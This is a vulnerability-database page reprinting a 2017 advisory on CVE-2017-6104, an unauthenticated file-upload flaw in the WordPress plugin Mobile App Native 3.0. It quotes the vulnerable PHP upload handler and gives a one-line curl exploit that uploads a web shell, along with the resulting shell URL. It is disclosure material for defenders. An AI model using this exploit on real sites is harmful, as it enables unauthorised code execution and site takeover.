Lucene search
K

WordPress Mobile App Native 3.0 Shell Upload Vulnerability

🗓️ 02 Mar 2017 00:00:00Reported by Larry CashdollarType 
zdt
 zdt
🔗 0day.today👁 33 Views

Remote file upload vulnerability in WordPress Plugin Mobile App Native 3.0. Vulnerability allows unauthenticated users to upload executable files without sanitization

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Wordpress Plugin Mobile App Native Remote File Upload Vulnerability
3 Mar 201700:00
cnvd
CVE
CVE-2017-6104
2 Mar 201722:00
cve
Cvelist
CVE-2017-6104
2 Mar 201722:00
cvelist
Exploit DB
Multiple WordPress Plugins - Arbitrary File Upload
3 Mar 201700:00
exploitdb
exploitpack
WordPress Multiple Plugins - Arbitrary File Upload
3 Mar 201700:00
exploitpack
NVD
CVE-2017-6104
2 Mar 201722:59
nvd
Packet Storm
WordPress Mobile App Native 3.0 Shell Upload
2 Mar 201700:00
packetstorm
Packet Storm
WordPress Multiple Plugin File Upload
17 Mar 201700:00
packetstorm
Prion
Design/Logic Flaw
2 Mar 201722:59
prion
seebug.org
Remote file upload vulnerability in Wordpress Plugin Mobile App Native 3.0
3 Mar 201700:00
seebug
Rows per page
Title: Remote file upload vulnerability in Wordpress Plugin Mobile App Native 3.0
Vulnerability Date: 2017-02-27
Download: https://wordpress.org/plugins/zen-mobile-app-native/
Vendor: https://profiles.wordpress.org/zendkmobileapp/
Notified: 2017-02-27
Vendor Contact: 
Description: Mobile App WordPress plugin lets you turn your website into a full-featured mobile application in minutes using Mobile App Builder.
Vulnerability: The code in file ./zen-mobile-app-native/server/images.php doesn't require authentication or check that the user is allowed to upload content.
It also doesn't sanitize the file upload against executable code.

<?php
//header('content-type: text/html; charset=iso-8859-2');
header('Content-Type: text/html; charset=utf-8');
header('Access-Control-Allow-Origin: *');
require_once('function.php');

  if ($_FILES['file']['name']) {
            if (!$_FILES['file']['error']) {
                $name = md5(rand(100, 200));
                $ext = explode('.', $_FILES['file']['name']);
                $filename = $name . '.' . $ext[1];
                $destination = 'images/' . $filename;
                $location = $_FILES["file"]["tmp_name"];
                move_uploaded_file($location, $destination);
                echo $plugin_url.'/server/images/' . $filename;
            }
            else {
              echo  $message = 'Ooops!  Your upload triggered the following error:  '.$_FILES['file']['error'];
            }
    }
CVEIDs: CVE-2017-6104
Exploit: $ 
curl   -F "[email protected]/var/www/shell.php" "http://example.com/wordpress/wp-content/plugins/zen-mobile-app-native/server/images.php"
http://example.com/wordpress/wp-content/plugins/zen-mobile-app-native//server/images/8d5e957f297893487bd98fa830fa6413.php

URL: http://www.vapidlabs.com/advisory.php?v=178
Credit: Larry W. Cashdollar, @_larry0

#  0day.today [2018-01-10]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Mar 2017 00:00Current
7.1High risk
Vulners AI Score7.1
EPSS0.38597
33